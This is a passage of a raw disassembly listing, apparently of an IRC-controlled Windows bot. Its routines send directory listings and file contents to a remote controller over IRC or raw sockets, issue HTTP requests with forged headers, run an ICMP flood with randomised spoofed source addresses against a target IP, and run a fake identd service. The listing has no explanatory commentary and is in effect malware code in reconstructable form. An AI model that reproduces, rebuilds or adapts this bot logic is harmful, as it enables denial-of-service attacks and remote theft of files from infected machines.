		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40529F
		sub	eax, 0Ch


loc_40529F:				; CODE XREF: sub_404FFE+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40544C
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_405320
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_3	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 28h
		jmp	loc_40559C
; ---------------------------------------------------------------------------


loc_405320:				; CODE XREF: sub_404FFE+2DBj
		cmp	[ebp+Source], ebx
		jz	loc_40540A
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_2	; "%s%s/"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_4053C0
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4053C5
; ---------------------------------------------------------------------------


loc_4053C0:				; CODE XREF: sub_404FFE+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4053C5:				; CODE XREF: sub_404FFE+3C0j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40558D
; ---------------------------------------------------------------------------


loc_40540A:				; CODE XREF: sub_404FFE+325j
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_3	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_405437:				; CODE XREF: sub_404FFE+476j
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 24h
		jmp	loc_40559C
; ---------------------------------------------------------------------------


loc_40544C:				; CODE XREF: sub_404FFE+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_405476
		push	ebx
		push	[ebp+var_368]
		call	sub_403A49
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_405437
; ---------------------------------------------------------------------------


loc_405476:				; CODE XREF: sub_404FFE+454j
		cmp	[ebp+Source], ebx
		jz	loc_405576
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS	; "%s%s"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_405516
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40551B
; ---------------------------------------------------------------------------


loc_405516:				; CODE XREF: sub_404FFE+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40551B:				; CODE XREF: sub_404FFE+516j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_40559C
; ---------------------------------------------------------------------------


loc_405576:				; CODE XREF: sub_404FFE+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi		; Count


loc_40558D:				; CODE XREF: sub_404FFE+407j
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h


loc_40559C:				; CODE XREF: sub_404FFE+31Dj
					; sub_404FFE+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4055CB
		push	7D0h
		call	ds:dword_41B048	; Sleep


loc_4055CB:				; CODE XREF: sub_404FFE+226j
					; sub_404FFE+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+Str]
		call	ds:dword_41B0B8	; FindNextFileA
		test	eax, eax
		jnz	loc_40521E


loc_4055E3:				; CODE XREF: sub_404FFE+215j
		push	[ebp+Str]
		call	ds:dword_41B0AC	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_405626
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_403A49
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_403A49
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_40565A
; ---------------------------------------------------------------------------


loc_405626:				; CODE XREF: sub_404FFE+5F1j
		cmp	[ebp+Source], ebx
		jz	short loc_405640
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40565A
; ---------------------------------------------------------------------------


loc_405640:				; CODE XREF: sub_404FFE+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_40565A:				; CODE XREF: sub_404FFE+626j
					; sub_404FFE+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_42EC00	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404FFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405680	proc near		; CODE XREF: sub_404BCC+13Bp

Dst		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_41B05C	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_405738
		push	esi
		push	ebx
		call	ds:dword_41B0A4	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_405731


loc_4056C5:				; CODE XREF: sub_405680+AFj
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_4056E2
		mov	edi, [ebp+arg_4]


loc_4056E2:				; CODE XREF: sub_405680+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_41B0C0	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_41B04C	; ReadFile
		push	esi
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40572C
		call	dword_42EB50	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_405731
		xor	eax, eax


loc_40572C:				; CODE XREF: sub_405680+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4056C5


loc_405731:				; CODE XREF: sub_405680+43j
					; sub_405680+A8j
		push	ebx
		call	ds:dword_41B050	; CloseHandle


loc_405738:				; CODE XREF: sub_405680+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405680	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40573D(char *Str)

sub_40573D	proc near		; CODE XREF: sub_404D4E+17Cp

Str		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Str]
		xor	esi, esi
		push	edi		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_405766


loc_405750:				; CODE XREF: sub_40573D+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40575A
		mov	byte ptr [esi+edi], 2Fh


loc_40575A:				; CODE XREF: sub_40573D+17j
		push	edi		; Str
		inc	esi
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_405750


loc_405766:				; CODE XREF: sub_40573D+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40573D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40576B	proc near		; CODE XREF: sub_409557+2461p

var_4A0		= byte ptr -4A0h
Dest		= byte ptr -310h
Str		= byte ptr -110h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_42EB38	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_42EC30	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_14]
		call	dword_42EBB4	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_4082EB
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405848
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_4057E4
		mov	eax, offset byte_428D64


loc_4057E4:				; CODE XREF: sub_40576B+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	dword_42EC00	; send
		push	esi		; Size
		lea	eax, [ebp+Str]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+Str]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_42EBCC	; recv
		pop	esi


loc_405848:				; CODE XREF: sub_40576B+6Bj
		push	ebx
		call	dword_42EC48	; closesocket
		call	dword_42EB20	; WSACleanup
		lea	eax, [ebp+Str]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_405888
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h


loc_405888:				; CODE XREF: sub_40576B+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40576B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40588C	proc near		; DATA XREF: sub_409557+3454o

Dest		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_42EC30	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_405927
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"...
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40590A
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_405E64
		add	esp, 14h


loc_40590A:				; CODE XREF: sub_40588C+5Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_38]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_405927:				; CODE XREF: sub_40588C+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_42EB94	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40599E
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_405981
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_405E64
		add	esp, 14h


loc_405981:				; CODE XREF: sub_40588C+D3j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_38]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_40599E:				; CODE XREF: sub_40588C+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_42EBF0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A05
		lea	eax, [ebp+Dest]
		push	offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP."
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4059E8
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_405E64
		add	esp, 14h


loc_4059E8:				; CODE XREF: sub_40588C+13Aj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_38]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_405A05:				; CODE XREF: sub_40588C+122j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	edi
		call	dword_42EBB4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	esi, ds:dword_41B078
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_405A43:				; CODE XREF: sub_40588C+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_405BEE
		push	41Ch
		mov	byte_42E670, 45h
		call	dword_42EBB4	; htons
		cmp	[ebp+var_2C], edi
		mov	word_42E672, ax
		mov	word_42E674, bx
		mov	word_42E676, di
		mov	byte_42E678, 80h
		mov	byte_42E679, bl
		mov	word_42E67A, di
		jz	short loc_405AC9
		call	_rand
		mov	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		push	1
		mov	dword_42E67C, ebx
		pop	ebx
		jmp	short loc_405AE1
; ---------------------------------------------------------------------------


loc_405AC9:				; CODE XREF: sub_40588C+20Bj
		push	[ebp+var_1BC]
		call	sub_408401
		pop	ecx
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	dword_42E67C, eax


loc_405AE1:				; CODE XREF: sub_40588C+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_42E680, eax
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_42E684, dl
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_42E685, dl
		call	_rand
		cdq
		mov	ecx, 0F0h
		push	400h		; Size
		idiv	ecx
		mov	word_42E686, di
		mov	word_42E68A, bx
		inc	edx
		mov	word_42E688, dx
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx		; Val
		push	offset dword_42E68C ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_42E670
		push	[ebp+var_4]
		call	dword_42EC14	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405B79
		inc	[ebp+arg_0]
		jmp	loc_405A43
; ---------------------------------------------------------------------------


loc_405B79:				; CODE XREF: sub_40588C+2E3j
		push	[ebp+var_4]
		call	dword_42EC48	; closesocket
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset aIcmpErrorSendi ; "[ICMP]: Error	sending	packets	to IP: %s"...
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_405BD1
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_405E64
		add	esp, 14h


loc_405BD1:				; CODE XREF: sub_40588C+323j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_38]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_405BEE:				; CODE XREF: sub_40588C+1C8j
		push	[ebp+var_4]
		call	dword_42EC48	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to	IP: %s.	S"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_405C56
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_405E64
		add	esp, 14h


loc_405C56:				; CODE XREF: sub_40588C+3A8j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_38]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread
sub_40588C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C73	proc near		; DATA XREF: WinMain(x,x,x,x)+4B5o
					; sub_409557+1807o

Str		= byte ptr -238h
Dest		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_8], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	71h
		call	dword_42EBB4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_42EC30	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_405DD4
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_43054C[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_42EBE0	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405DD4
		push	5
		push	ebx
		call	dword_42EBDC	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405DD4
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_405CFE:				; CODE XREF: sub_405C73+EAj
					; sub_405C73+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_42EC44	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_405DCF
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	offset aIdentdClientCo ; "[IDENTD]: Client connection from IP: %s"...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_402D63
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_42EBCC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405CFE
		lea	eax, [ebp+Str]
		push	esi		; int
		push	eax		; Str
		call	sub_406E70
		push	0Ch		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	esi		; Str1
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	2		; int
		push	eax		; Dest
		call	sub_40FA38
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 34h
		lea	eax, [ebp+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_4]
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_405CFE
		mov	[ebp+var_8], 1
		jmp	loc_405CFE
; ---------------------------------------------------------------------------


loc_405DCF:				; CODE XREF: sub_405C73+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_405DFB


loc_405DD4:				; CODE XREF: sub_405C73+47j
					; sub_405C73+6Bj ...
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Str]
		push	offset aIdentdErrorSer ; "[IDENTD]: Error: server failed, returne"...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_402D63
		add	esp, 10h


loc_405DFB:				; CODE XREF: sub_405C73+15Fj
		push	ebx
		call	dword_42EC48	; closesocket
		push	[ebp+var_4]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405C73	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_405E1E(int,char *Format,char Args)

sub_405E1E	proc near		; CODE XREF: sub_4093DF+3Dp
					; sub_409557+1CBp ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Format		= dword	ptr  0Ch
Args		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	200h		; Count
		push	eax		; Dest
		call	__vsnprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EC00	; send
		leave
		retn
sub_405E1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_405E64(int,char *Str,int,int,int)

sub_405E64	proc near		; CODE XREF: sub_4013EE+314p
					; .text:00401A07p ...

var_400		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
